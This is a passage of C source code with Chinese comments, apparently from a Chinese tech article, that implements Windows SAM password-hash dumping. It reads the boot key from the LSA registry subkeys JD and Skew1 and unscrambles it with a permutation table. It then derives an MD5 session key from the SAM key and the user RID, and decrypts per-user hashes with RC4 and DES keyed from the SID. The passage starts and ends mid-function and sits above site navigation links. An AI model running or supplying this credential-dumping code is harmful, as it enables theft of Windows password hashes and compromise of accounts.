memcpy(p1+8,uid,4);
memcpy(p1+0xc,uid,2);
//上面是用SID填充DESECB的KEY
rc4_key(rc4keylist,sessionkey,0x10);
rc4_2bc6(rc4keylist,0x10,ensaminfo);
//RC4处理一次再用DES解密
initLMP(p1,LM);
deskey(LM,desecb);
des(p2,ensaminfo,desecb,0);
initLMP(p1+7,LM);
deskey(LM,desecb);
des(p2+8,ensaminfo+8,desecb,0);
memcpy(ensaminfo,p2,0x10);
}
void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
//根据具体用户的相对SID，要恢复散列的散列类型，MD5生成SESSIONKEY
unsigned char LM[0x58];
int len,i;
md5init(LM);
for(i=0;i<20;i++)
if(passwordtype[i]==0)
break;
len=i+1;
memcpy(LM+0x18,sampsskey,0x10);
memcpy(LM+0x28,(unsigned char *)uid,4);
memcpy(LM+0x2c,passwordtype,len);
memset(LM+0x2c+len,0x80,1);
memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
*(DWORD *)LM=0x200;
*(DWORD *)(LM+0X50)=0xF8;
md5final(LM);
memcpy(sessionkey,LM+8,0x10);
}
void getsyskey(unsigned char * syskey)
{
unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};
//换位表
unsigned char syskey1[0x10];
HKEY hkResult;
HKEY hkResult1;
int i,j;
long ss;
unsigned char classinfo[0x10];
DWORD c1;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
if(ss!=ERROR_SUCCESS)
return;
ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
i=0;
memset(syskey1,0,0x10);
c1=0x10;
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
else if(classinfo[j]>='a' && classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
else if(classinfo[j]>='A' && classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
上一篇:2k注册表外壳设置精解
下一篇:简明批处理教程
|
精品推荐